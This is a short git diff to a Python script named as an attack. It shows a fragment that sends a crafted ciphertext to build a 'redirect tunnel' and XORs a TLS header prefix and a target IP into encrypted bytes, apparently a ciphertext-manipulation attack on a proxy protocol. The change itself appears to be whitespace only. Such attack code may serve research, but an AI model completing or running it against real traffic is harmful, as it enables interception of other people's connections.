diff --git a/attack2_with_https_pocket.py b/attack2_with_https_pocket.py index 3b48e74..a2593be 100644 --- a/attack2_with_https_pocket.py +++ b/attack2_with_https_pocket.py @@ -36,7 +36,7 @@ def up(c): obj.send(cipertext)# send the payload to construct a redirect tunnel time.sleep(0.2) for i in range(0,0,1): - prefix_https_recv='\x16\x03\x03\x00'+chr(i)+'\x02\x00' + prefix_https_recv='\x16\x03\x03\x00'+chr(i)+'\x02\x00' x=xor(prefix_https_recv,targetIP) z=xor(x,y) cipertext=c[0:16]+z+c[16+7:]